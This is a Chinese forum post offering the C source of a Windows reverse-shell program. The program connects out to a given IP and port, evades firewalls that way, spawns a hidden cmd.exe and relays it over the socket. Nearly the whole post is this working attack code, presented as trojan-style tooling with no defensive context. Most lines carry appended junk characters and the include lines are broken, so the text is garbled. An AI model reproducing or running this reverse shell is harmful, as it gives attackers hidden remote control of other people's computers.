社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5856阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^s'ozCk 0  
_J}vPm  
/* ============================== LGb.>O^  
Rebound port in Windows NT MYqxkhcLH1  
By wind,2006/7 *.ffyBI*~  
===============================*/ ^FLuhLS\*  
#include BS}uv3  
#include hM*T{|y  
L@rKG~{Xy  
#pragma comment(lib,"wsock32.lib") aO@zeKg  
0-dhGh?.  
void OutputShell(); m .2)P~a  
SOCKET sClient; G $u:1&   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; maANxSzi  
!" E&Tk}  
void main(int argc,char **argv) g+ `Ie'o<  
{ Zxw>|eKI>D  
WSADATA stWsaData; _"`wUMee  
int nRet; 54 8w v  
SOCKADDR_IN stSaiClient,stSaiServer; "yMr\jt~-  
3mWd?!+m=  
if(argc != 3) #mqz*=L3  
{ NJ-cP m  
printf("Useage:\n\rRebound DestIP DestPort\n"); uQ9/7"S  
return; }-{l(8-  
} JnX@eBNV  
\IQP` JR  
WSAStartup(MAKEWORD(2,2),&stWsaData); rnxO2   
7`3he8@ze  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BaIh,iu  
["N>Po  
stSaiClient.sin_family = AF_INET; IXp P.d  
stSaiClient.sin_port = htons(0); L4SvE^2+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :SSlUl4sU$  
Z iDmx-X  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fTM^:vkO  
{ LQYT/  
printf("Bind Socket Failed!\n"); }#@P+T:b  
return; /Ny/%[cu  
} 8<u_ wt@  
~S Js2- 2  
stSaiServer.sin_family = AF_INET; di6A.N5A  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s#sr1[9}G  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F0Xv84:O  
2l+O|R  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >*A\/Da]j  
{ La}=Ng  
printf("Connect Error!"); N i^pP@('  
return; ?Gr<9e2Eo  
} ->vfQwBFd  
OutputShell(); 0-Xpq,0  
} aisX56Lc  
57+^T}/>  
void OutputShell() ?,|_<'$4T  
{ 6X5m1+ Oi^  
char szBuff[1024]; De|@}@  
SECURITY_ATTRIBUTES stSecurityAttributes; Pp N+q:(  
OSVERSIONINFO stOsversionInfo;  U^ BB|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {Z;W|w1t  
STARTUPINFO stStartupInfo; \`x'r$CV  
char *szShell; +7+ VbsFG  
PROCESS_INFORMATION stProcessInformation; "/hs@4{u9  
unsigned long lBytesRead; dQA J`9B  
t]FFGnBZ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +u _mT$|T  
y)U8\  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O3*Vilx  
stSecurityAttributes.lpSecurityDescriptor = 0; 451C2 %y  
stSecurityAttributes.bInheritHandle = TRUE; L~ V 63K  
DC*|tHl  
XuHJy  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n*D)RiW  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Uk ?V7?&  
oTOe(5N8a  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c#9 zw[y-L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^f!d8 V  
stStartupInfo.wShowWindow = SW_HIDE; cJ:BEe  
stStartupInfo.hStdInput = hReadPipe; -<&"geJA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O\OG~`HBN  
)." zBc#  
GetVersionEx(&stOsversionInfo); @tjC{?5Y  
$if(`8  
switch(stOsversionInfo.dwPlatformId) )'%L#  
{ a|?CC/Ra  
case 1: . 36'=K  
szShell = "command.com"; OY~5o&Oa  
break; ?vf{v  
default: 7Yj\*N  
szShell = "cmd.exe"; $Ry NM2YI  
break; /[nt=#+   
} J+?xfg  
\ox:/-[c\<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C&Nd|c  
a((5_8SX5  
send(sClient,szMsg,77,0); 2T?t[;-  
while(1) BY,%+>bc)  
{ 1[3"|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vR1%&(f{  
if(lBytesRead) zZ-e2)1v  
{ 9FV#@uA}D  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w/G5I )G  
send(sClient,szBuff,lBytesRead,0); s'\"%~nF<  
} F$F5N1<  
else ~>}BDsM  
{ :Np&G4IM>  
lBytesRead=recv(sClient,szBuff,1024,0); Ev0V\tl>0  
if(lBytesRead<=0) break; =NJb9S&8A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3CQpe  
} @292;qi  
} Y/Y746I  
W,Dr2$V  
return; i8HSYA  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八